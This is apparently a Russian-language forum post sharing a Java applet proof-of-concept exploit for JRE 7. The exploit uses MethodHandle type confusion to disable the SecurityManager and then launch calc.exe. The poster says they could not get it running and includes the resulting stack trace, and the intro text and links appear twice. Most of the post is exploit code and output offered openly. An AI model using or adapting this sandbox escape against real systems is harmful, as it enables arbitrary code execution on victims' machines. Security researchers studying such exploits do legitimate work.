В общем сегодня всплыл очередной эксплоит под JRE:
https://dev.metasploit.com/redmine/projects...c2a38aa48029db3
первоисточник:
http://weblog.ikvm.net/PermaLink.aspx?guid...df-efa42ac237f0
замечу, что я его завести не смог, несмотря на модуль в метасплоите, на JRE 7u10 и 7u15 WinXPSP3 у меня стабильно java.lang.reflect.InvocationTargetException до момента инициализации апплета:
https://dev.metasploit.com/redmine/projects...c2a38aa48029db3
первоисточник:
http://weblog.ikvm.net/PermaLink.aspx?guid...df-efa42ac237f0
Код:
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;
import java.applet.Applet;
class Union1 {
int field1;
Object field2;
}
class Union2 {
int field1;
SystemClass field2;
}
class SystemClass {
Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,
f24,f25,f26,f27,f28,f29,f30;
}
class PoC extends Applet {
///
public static void main(String[] args) throws Throwable {
new PoC().init();
}
///
public void init() {
try
{
disableSecurityManager();
Runtime.getRuntime().exec("calc.exe");
}
catch(Exception exception)
{
exception.printStackTrace();
} catch(Throwable t) {
t.printStackTrace();
}
}
///
static void disableSecurityManager() throws Throwable
{
MethodHandle mh1, mh2;
mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
Field fld1 = Union1.class.getDeclaredField("field1");
Field fld2 = Union2.class.getDeclaredField("field1");
Class classInt = int.class;
Class classDouble = double.class;
mh1.invokeExact(int.class);
mh2.invokeExact((Class)null);
Union1 u1 = new Union1();
u1.field2 = System.class;
Union2 u2 = new Union2();
fld2.set(u2, fld1.get(u1));
mh1.invokeExact(classDouble);
mh2.invokeExact(classInt);
if (u2.field2.f29 == System.getSecurityManager())
{
u2.field2.f29 = null;
}
else if (u2.field2.f30 == System.getSecurityManager())
{
u2.field2.f30 = null;
}
else
{
System.out.println("security manager field not found");
}
}
}
замечу, что я его завести не смог, несмотря на модуль в метасплоите, на JRE 7u10 и 7u15 WinXPSP3 у меня стабильно java.lang.reflect.InvocationTargetException до момента инициализации апплета:
Код:
java.lang.reflect.InvocationTargetException
at com.sun.deploy.util.DeployAWTUtil.invokeAndWait(Unknown Source)
at sun.plugin2.applet.Plugin2Manager.runOnEDT(Unknown Source)
at sun.plugin2.applet.Plugin2Manager.createApplet(Unknown Source)
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Caused by: java.lang.RuntimeException: java.lang.IllegalAccessException: Class sun.plugin2.applet.Plugin2Manager$12 can not access a member of class PoC with modifiers ""
at sun.plugin2.applet.Plugin2Manager$12.run(Unknown Source)
at java.awt.event.InvocationEvent.dispatch(Unknown Source)
at java.awt.EventQueue.dispatchEventImpl(Unknown Source)
at java.awt.EventQueue.access$200(Unknown Source)
at java.awt.EventQueue$3.run(Unknown Source)
at java.awt.EventQueue$3.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.security.ProtectionDomain$1.doIntersectionPrivilege(Unknown Source)
at java.awt.EventQueue.dispatchEvent(Unknown Source)
at java.awt.EventDispatchThread.pumpOneEventForFilters(Unknown Source)
at java.awt.EventDispatchThread.pumpEventsForFilter(Unknown Source)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source)
at java.awt.EventDispatchThread.pumpEvents(Unknown Source)
at java.awt.EventDispatchThread.pumpEvents(Unknown Source)
at java.awt.EventDispatchThread.run(Unknown Source)
Caused by: java.lang.IllegalAccessException: Class sun.plugin2.applet.Plugin2Manager$12 can not access a member of class PoC with modifiers ""
at sun.reflect.Reflection.ensureMemberAccess(Unknown Source)
at java.lang.Class.newInstance0(Unknown Source)
at java.lang.Class.newInstance(Unknown Source)
... 15 more
Exception: java.lang.reflect.InvocationTargetException